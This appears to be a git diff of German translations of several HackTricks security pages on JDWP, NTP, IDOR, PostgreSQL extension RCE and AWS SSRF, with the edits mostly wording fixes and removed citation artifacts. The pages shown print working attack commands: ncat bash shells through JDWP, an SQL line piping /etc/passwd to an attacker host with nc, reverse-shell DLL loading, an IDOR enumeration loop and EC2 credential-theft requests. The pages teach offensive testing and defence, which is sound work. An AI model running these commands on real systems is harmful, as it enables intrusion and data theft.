Die Ausnutzung von JDWP basiert auf dem **Fehlen von Authentifizierung und Verschlüsselung** des Protokolls. Es wird normalerweise auf **Port 8000** gefunden, aber andere Ports sind möglich. Die initiale Verbindung erfolgt durch das Senden eines "JDWP-Handshake" an den Zielport. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerprinting-Methode zur Identifizierung von JDWP-Diensten im Netzwerk.
In Bezug auf die Prozessidentifikation kann die Suche nach dem String "jdwk" in Java-Prozessen auf eine aktive JDWP-Sitzung hinweisen.
@ -14,7 +14,7 @@ Das bevorzugte Tool ist [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifi
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.indexOf'` den Exploit **stabiler** macht. Und wenn Sie die Möglichkeit haben, eine Hintertür auf den Host hochzuladen und auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.
Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.indexOf'` den Exploit stabiler macht. Und wenn Sie die Möglichkeit haben, ein Backdoor auf den Host hochzuladen und es auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.
## Weitere Details
@ -22,7 +22,7 @@ Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.ind
1. **JDWP Übersicht**:
- Es handelt sich um ein paketbasiertes Netzwerk-Binärprotokoll, das hauptsächlich synchron ist.
- Es handelt sich um ein paketbasiertes, binäres Netzwerkprotokoll, das hauptsächlich synchron ist.
- Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es feindlichen Netzwerken ausgesetzt ist.
2. **JDWP Handshake**:
@ -36,7 +36,7 @@ Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.ind
4. **Exploitation**:
- JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecode, was Sicherheitsrisiken birgt.
- JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecodes, was Sicherheitsrisiken birgt.
- Der Artikel beschreibt einen Exploitationsprozess in fünf Schritten, der das Abrufen von Java Runtime-Referenzen, das Setzen von Haltepunkten und das Aufrufen von Methoden umfasst.
5. **Echte Exploitation**:
@ -56,7 +56,7 @@ Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.ind
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)

View File

@ -80,29 +80,29 @@ Achten Sie besonders auf die ``restrict``-Zeilen, ``kod`` (Kiss-o'-Death)-Einste
| Jahr | CVE | Komponente | Auswirkung |
|------|-----|------------|------------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Mehrere Out-of-Bounds-Schreibvorgänge, die über **ntpq**-Antworten erreichbar sind. Patch in **4.2.8p16** 🡒 Upgrade oder Backport-Fixes. citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust-Implementierung) | Fehlformatierte **NTS**-Cookies verursachen einen Remote-**DoS** vor v0.3.3 betrifft Port 123, selbst wenn NTS **deaktiviert** ist. citeturn4view0|
| 2024 | Distro-Updates | **chrony 4.4 / 4.5** mehrere Sicherheitsverbesserungen & NTS-KE-Fixes (z.B. SUSE-RU-2024:2022) citeturn2search2|
| 2024 | Rekord DDoS | Cloudflare berichtet über einen **5.6 Tbps UDP-Reflexions**-Angriff (NTP unter den verwendeten Protokollen). Halten Sie *monitor* & *monlist* auf internet-facing Hosts deaktiviert. citeturn5search0|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Mehrere Out-of-Bounds-Schreibvorgänge, die über **ntpq**-Antworten erreichbar sind. Patch in **4.2.8p16** 🡒 Upgrade oder Backport-Fixes. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust-Implementierung) | Fehlformatierte **NTS**-Cookies verursachen einen Remote-**DoS** vor v0.3.3 betrifft Port 123, selbst wenn NTS **deaktiviert** ist. |
| 2024 | Distro-Updates | **chrony 4.4 / 4.5** mehrere Sicherheitsverbesserungen & NTS-KE-Fixes (z.B. SUSE-RU-2024:2022) |
| 2024 | Rekord DDoS | Cloudflare berichtet über einen **5,6 Tbps UDP-Reflexions**angriff (NTP unter den verwendeten Protokollen). Halten Sie *monitor* & *monlist* auf internetexponierten Hosts deaktiviert. |
> **Exploit-Kits**: Proof-of-Concept-Payloads für die 2023 ntpq OOB-Schreibserie sind auf GitHub (siehe Meinberg-Bericht) und können für Client-seitiges Phishing von Sysadmins verwendet werden. citeturn1search4
> **Exploit-Kits**: Proof-of-Concept-Payloads für die 2023 ntpq OOB-Schreibserie sind auf GitHub (siehe Meinberg-Bericht) und können für Client-seitiges Phishing von Sysadmins verwendet werden.
---
## Fortgeschrittene Angriffe
### 1. NTP-Verstärkung / Reflexion
Die Legacy Mode-7 ``monlist``-Abfrage gibt bis zu **600 Host-Adressen** zurück und ist immer noch auf Tausenden von Internet-Hosts vorhanden. Da die Antwort (428-468 Bytes/Eingabe) *~ 200×* größer ist als die 8-Byte-Anfrage, kann ein Angreifer dreistellige Verstärkungsfaktoren erreichen. Milderungen:
Die Legacy Mode-7 ``monlist``-Abfrage gibt bis zu **600 Host-Adressen** zurück und ist immer noch auf Tausenden von Internet-Hosts vorhanden. Da die Antwort (428-468 Bytes/Eingabe) *~ 200×* größer ist als die 8-Byte-Anfrage, kann ein Angreifer dreistellige Verstärkungsfaktoren erreichen. Milderungsmaßnahmen:
- Upgrade auf ntp 4.2.8p15+ und **hinzufügen** von ``disable monitor``.
- Rate-Limit UDP/123 am Rand oder aktivieren Sie *sessions-required* auf DDoS-Geräten.
- Aktivieren Sie *BCP 38* Egress-Filterung, um Quellspoofing zu blockieren.
Siehe den Artikel im Lernzentrum von Cloudflare für eine Schritt-für-Schritt-Erklärung. citeturn5search1
Siehe den Artikel im Lernzentrum von Cloudflare für eine schrittweise Aufschlüsselung.
### 2. Zeitverschiebungs- / Verzögerungsangriffe (Khronos / Chronos-Forschung)
Selbst mit Authentifizierung kann ein Angreifer auf dem Pfad die **Client-Uhr** stillschweigend verschieben, indem er Pakete verwirft/verzögert. Der IETF **Khronos (ehemals Chronos) Entwurf** schlägt vor, im Hintergrund eine vielfältige Menge von Servern abzufragen und das Ergebnis zu überprüfen, um eine Verschiebung > 𝚡 ms zu erkennen. Modernes chrony (4.4+) implementiert bereits einen ähnlichen Sanity-Filter (``maxdistance`` / ``maxjitter``). citeturn9search1
Selbst mit Authentifizierung kann ein Angreifer auf dem Pfad die **Client-Uhr** stillschweigend verschieben, indem er Pakete verwirft/verzögert. Der IETF **Khronos (ehemals Chronos) Entwurf** schlägt vor, im Hintergrund eine vielfältige Menge von Servern abzufragen und das Ergebnis zu überprüfen, um eine Verschiebung > 𝚡 ms zu erkennen. Modernes chrony (4.4+) implementiert bereits einen ähnlichen Sanity-Filter (``maxdistance`` / ``maxjitter``).
### 3. NTS-Missbrauch & 4460/tcp-Exposition
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
Look for self-signed or expired certificates and weak cipher-suites (non-AEAD). Reference: RFC 8915 §4. citeturn11search0
Suche nach selbstsignierten oder abgelaufenen Zertifikaten und schwachen Cipher-Suites (nicht-AEAD). Referenz: RFC 8915 §4.
---
## Hardening / Best-Current-Practice (BCP-233 / RFC 8633)
## Härtung / Beste Aktuelle Praxis (BCP-233 / RFC 8633)
*Betreiber SOLLTEN:*
1. **≥ 4** unabhängige, vielfältige Zeitquellen (öffentliche Pools, GPS, PTP-Brücken) verwenden, um eine Vergiftung durch eine einzige Quelle zu vermeiden.
1. **≥ 4** unabhängige, vielfältige Zeitquellen (öffentliche Pools, GPS, PTP-Brücken) verwenden, um eine Einzelquellenvergiftung zu vermeiden.
2. ``kod`` und ``limited``/``nomodify``-Einschränkungen aktivieren, damit missbräuchliche Clients **Kiss-o'-Death**-Rate-Limit-Pakete anstelle vollständiger Antworten erhalten.
3. Daemon-Protokolle auf **panic**-Ereignisse oder Schrittanpassungen > 1000 s überwachen. (Signaturen eines Angriffs gemäß RFC 8633 §5.3.)
4. **leap-smear** in Betracht ziehen, um Ausfälle durch Schaltsekunden zu vermeiden, aber sicherstellen, dass *alle* nachgelagerten Clients dasselbe Smear-Fenster verwenden.
5. Polling auf ≤24 h halten, damit Schaltsekunden-Flags nicht verpasst werden.
Siehe RFC 8633 für eine umfassende Checkliste. citeturn8search0turn8search1
Siehe RFC 8633 für eine umfassende Checkliste.
---
## Shodan / Censys Dorks
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
---
## Referenzen
- RFC 8915 *Network Time Security für das Network Time Protocol* (Port 4460) citeturn11search0
- RFC 8633 *Network Time Protocol BCP* citeturn8search0
- Cloudflare DDoS-Bericht 2024 Q4 (5,6 Tbps) citeturn5search0
- Cloudflare *NTP Amplification Attack* Artikel citeturn5search1
- NTP 4.2.8p15 CVE-Serie 2023-04 citeturn1search4
- NVD-Einträge **CVE-2023-2655155**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- SUSE chrony Sicherheitsupdate 2024 (chrony 4.5) citeturn2search2
- Khronos/Chronos Entwurf (Zeitverschiebungs-Minderung) citeturn9search1
- chronyc Handbuch/Beispiele für Remote-Überwachung citeturn3search0turn10search1
- zgrab2 ntp Modul-Dokumentation citeturn7search0
- RFC 8915 *Netzwerkzeit-Sicherheit für das Network Time Protocol* (Port 4460)
- RFC 8633 *Network Time Protocol BCP*
- Cloudflare DDoS-Bericht 2024 Q4 (5,6 Tbps)
- Cloudflare *NTP Amplification Attack* Artikel
- NTP 4.2.8p15 CVE-Serie 2023-04
- NVD-Einträge **CVE-2023-2655155**, **CVE-2023-33192**
- SUSE chrony Sicherheitsupdate 2024 (chrony 4.5)
- Khronos/Chronos Entwurf (Zeitverschiebungs-Minderung)
- chronyc Handbuch/Beispiele für die Fernüberwachung
- zgrab2 ntp Modul-Dokumentation
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,85 @@
{{#include ../banners/hacktricks-training.md}}
**Überprüfen Sie den Beitrag: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer steuerbaren Bezeichner offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu überprüfen, ob der Anrufer berechtigt ist**, auf dieses Objekt zuzugreifen/zu ändern. Erfolgreiche Ausnutzung ermöglicht normalerweise eine horizontale oder vertikale Privilegieneskalation, wie das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme des Kontos oder die Massen-Datenexfiltration.
---
## 1. Identifizierung potenzieller IDORs
1. Suchen Sie nach **Parametern, die auf ein Objekt verweisen**:
* Pfad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Abfrage: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Header / Cookies: `X-Client-ID: 4711`
2. Bevorzugen Sie Endpunkte, die **Daten lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Beachten Sie, wenn Bezeichner **sequentiell oder vorhersehbar** sind wenn Ihre ID `64185742` ist, dann existiert wahrscheinlich `64185741`.
4. Erkunden Sie versteckte oder alternative Abläufe (z. B. *"Paradox team members"* Link auf Anmeldeseiten), die zusätzliche APIs offenlegen könnten.
5. Verwenden Sie eine **authentifizierte Sitzung mit niedrigen Rechten** und ändern Sie nur die ID, **während Sie dasselbe Token/Cookie beibehalten**. Das Fehlen eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR.
### Schnelles manuelles Manipulieren (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Automatisierte Enumeration (Burp Intruder / curl Schleife)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Fallstudie aus der Praxis McHire Chatbot-Plattform (2025)
Während einer Bewertung des von Paradox.ai betriebenen **McHire** Rekrutierungsportals wurde das folgende IDOR entdeckt:
* Endpunkt: `PUT /api/lead/cem-xhr`
* Autorisierung: Benutzer-Sitzungscookie für **jedes** Restaurant-Testkonto
* Body-Parameter: `{"lead_id": N}` 8-stellige, **sequentielle** numerische Kennung
Durch das Verringern von `lead_id` konnte der Tester beliebige Bewerberdaten mit **vollständigen PII** (Name, E-Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein Verbraucher-**JWT** abrufen, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs `1 64,185,742` offenbarte ungefähr **64 Millionen** Datensätze.
Proof-of-Concept-Anfrage:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Kombiniert mit **Standard-Admin-Anmeldeinformationen** (`123456:123456`), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einem kritischen, unternehmensweiten Datenleck.
---
## 3. Auswirkungen von IDOR / BOLA
* Horizontale Eskalation Lesen/Aktualisieren/Löschen von **Daten anderer Benutzer**.
* Vertikale Eskalation Niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen.
* Massen-Datenleck, wenn Identifikatoren sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
* Kontoübernahme durch Stehlen von Tokens oder Zurücksetzen von Passwörtern anderer Benutzer.
---
## 4. Minderung & Best Practices
1. **Durchsetzung der objektbezogenen Autorisierung** bei jeder Anfrage (`user_id == session.user`).
2. Bevorzugen Sie **indirekte, nicht erratbare Identifikatoren** (UUIDv4, ULID) anstelle von Auto-Increment-IDs.
3. Führen Sie die Autorisierung **serverseitig** durch, verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Steuerelemente.
4. Implementieren Sie **RBAC / ABAC**-Überprüfungen in einer zentralen Middleware.
5. Fügen Sie **Ratenbegrenzung & Protokollierung** hinzu, um die Enumeration von IDs zu erkennen.
6. Sicherheitstest für jeden neuen Endpunkt (Einheit, Integration und DAST).
---
## 5. Werkzeuge
* **BurpSuite-Erweiterungen**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github-Projekte**: `bwapp-idor-scanner`, `Blindy` (Bulk-IDOR-Jagd).
{{#include ../banners/hacktricks-training.md}}
## Referenzen
* [McHire Chatbot Platform: Standardanmeldeinformationen und IDOR legen 64 Millionen Bewerber-PII offen](https://ian.sh/mcdonalds)
* [OWASP Top 10 Fehlerhafte Zugriffskontrolle](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [Wie man mehr IDORs findet Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## PostgreSQL-Erweiterungen
PostgreSQL wurde mit Erweiterbarkeit als Kernfeature entwickelt, was es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.
PostgreSQL wurde mit Erweiterbarkeit als Kernfunktion entwickelt, die es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.
Seit Version 8.1 wird eine spezifische Anforderung an die Erweiterungsbibliotheken gestellt: Sie müssen mit einem speziellen Header kompiliert werden. Ohne dies wird PostgreSQL sie nicht ausführen, um sicherzustellen, dass nur kompatible und potenziell sichere Erweiterungen verwendet werden.
@ -14,7 +14,7 @@ Denken Sie auch daran, dass **wenn Sie nicht wissen, wie man** [**Dateien auf da
**Für weitere Informationen siehe: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dieses: [Metasploit-Modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload) zu verwenden.
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dies zu verwenden: [Metasploit-Modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -68,20 +68,20 @@ $$ LANGUAGE 'plpgsql';
```
</details>
Allerdings wurde bei dem Versuch an höheren Versionen **der folgende Fehler angezeigt**:
Allerdings wurde bei dem Versuch auf höheren Versionen **der folgende Fehler angezeigt**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Dieser Fehler wird in der [PostgreSQL-Dokumentation](https://www.postgresql.org/docs/current/static/xfunc-c.html) erklärt:
> Um sicherzustellen, dass eine dynamisch geladene Objektdatei nicht in einen inkompatiblen Server geladen wird, überprüft PostgreSQL, ob die Datei einen „magischen Block“ mit den entsprechenden Inhalten enthält. Dies ermöglicht es dem Server, offensichtliche Inkompatibilitäten zu erkennen, wie z.B. Code, der für eine andere Hauptversion von PostgreSQL kompiliert wurde. Ein magischer Block ist seit PostgreSQL 8.2 erforderlich. Um einen magischen Block einzufügen, schreiben Sie dies in eine (und nur eine) der Modul-Quellcodedateien, nachdem Sie die Header-Datei fmgr.h eingebunden haben:
> Um sicherzustellen, dass eine dynamisch geladene Objektdatei nicht in einen inkompatiblen Server geladen wird, überprüft PostgreSQL, ob die Datei einen „magischen Block“ mit den entsprechenden Inhalten enthält. Dies ermöglicht es dem Server, offensichtliche Inkompatibilitäten zu erkennen, wie z.B. Code, der für eine andere Hauptversion von PostgreSQL kompiliert wurde. Ein magischer Block ist seit PostgreSQL 8.2 erforderlich. Um einen magischen Block einzufügen, schreiben Sie dies in eine (und nur eine) der Modulquellcodedateien, nachdem Sie die Header-Datei fmgr.h eingebunden haben:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Seit der PostgreSQL-Version 8.2 wurde der Prozess für einen Angreifer, das System auszunutzen, erschwert. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
Seit der PostgreSQL-Version 8.2 ist der Prozess für einen Angreifer, das System auszunutzen, schwieriger geworden. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
#### Bibliothek kompilieren
@ -170,7 +170,7 @@ Sie können die kompilierte DLL in diesem Zip finden:
pgsql_exec.zip
{{#endfile}}
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und wie oft es ausgeführt werden soll. In diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und die Anzahl der Ausführungen, in diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
@ -254,7 +254,7 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Beachten Sie, dass in diesem Fall der **bösartige Code sich innerhalb der DllMain-Funktion** befindet. Das bedeutet, dass in diesem Fall nicht notwendig ist, die geladene Funktion in postgresql auszuführen, sondern nur **das Laden der DLL** wird die **Reverse Shell** **ausführen**:
Beachten Sie, dass in diesem Fall der **bösartige Code sich innerhalb der DllMain-Funktion** befindet. Das bedeutet, dass es in diesem Fall nicht notwendig ist, die geladene Funktion in postgresql auszuführen, sondern dass allein das **Laden der DLL** die **Reverse-Shell** ausführen wird:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
@ -262,15 +262,15 @@ Das [PolyUDF-Projekt](https://github.com/rop-la/PolyUDF) ist ebenfalls ein guter
### RCE in den neuesten PostgreSQL-Versionen
In den **neuesten Versionen** von PostgreSQL wurden Einschränkungen eingeführt, bei denen der `superuser` **verboten** ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu **laden**, wie z.B. `C:\Program Files\PostgreSQL\11\lib` unter Windows oder `/var/lib/postgresql/11/lib` auf \*nix-Systemen. Diese Verzeichnisse sind **gegen Schreiboperationen** durch entweder das NETWORK_SERVICE- oder das postgres-Konto **gesichert**.
In den **neuesten Versionen** von PostgreSQL wurden Einschränkungen eingeführt, bei denen der `superuser` **verboten** ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu **laden**, wie z.B. `C:\Program Files\PostgreSQL\11\lib` unter Windows oder `/var/lib/postgresql/11/lib` auf \*nix-Systemen. Diese Verzeichnisse sind **gegen Schreiboperationen** durch entweder die NETWORK_SERVICE- oder postgres-Konten **gesichert**.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-`superuser` möglich, **binäre Dateien** im Dateisystem mithilfe von "Large Objects" zu **schreiben**. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis `C:\Program Files\PostgreSQL\11\data`, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-`superuser` möglich, **binäre Dateien** in das Dateisystem zu **schreiben**, indem er "large objects" verwendet. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis `C:\Program Files\PostgreSQL\11\data`, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
Eine erhebliche Schwachstelle ergibt sich aus dem Befehl `CREATE FUNCTION`, der **Verzeichnisdurchquerung** in das Datenverzeichnis **erlaubt**. Folglich könnte ein authentifizierter Angreifer diese **Durchquerung ausnutzen**, um eine Shared Library-Datei in das Datenverzeichnis zu schreiben und sie dann **zu laden**. Dieser Exploit ermöglicht es dem Angreifer, beliebigen Code auszuführen und native Codeausführung auf dem System zu erreichen.
#### Angriffsfluss
Zunächst müssen Sie **Large Objects verwenden, um die dll hochzuladen**. Sie können sehen, wie das geht, hier:
Zunächst müssen Sie **large objects verwenden, um die dll hochzuladen**. Sie können sehen, wie das geht, hier:
{{#ref}}
big-binary-files-upload-postgresql.md
@ -283,8 +283,8 @@ select connect_back('192.168.100.54', 1234);
```
_Beachten Sie, dass Sie die `.dll`-Erweiterung nicht anhängen müssen, da die Funktion create sie hinzufügen wird._
Für weitere Informationen **lesen Sie die** [**ursprüngliche Veröffentlichung hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In dieser Veröffentlichung **wurde der** [**Code verwendet, um die Postgres-Erweiterung zu generieren**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen_).\
Für weitere Informationen **lesen Sie die** [**ursprüngliche Veröffentlichung hier**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In dieser Veröffentlichung **wurde dieser** [**Code verwendet, um die Postgres-Erweiterung zu generieren**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen_).\
Auf derselben Seite wurde dieser **Exploit zur Automatisierung** dieser Technik bereitgestellt:
```python
#!/usr/bin/env python3

View File

@ -6,9 +6,9 @@
### Missbrauch von SSRF in der AWS EC2-Umgebung
**Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL: `http://169.254.169.254` zugänglich ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL `http://169.254.169.254` erreichbar ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF sie ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie ein **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann dieses Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF).
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF ihn ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie ein **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann dieses Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF).
> [!CAUTION]
> Beachten Sie, dass wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
@ -75,11 +75,11 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Als Beispiel für **öffentlich verfügbare IAM-Anmeldeinformationen** können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Als ein **öffentlich verfügbares IAM-Zugangsdaten** Beispiel können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
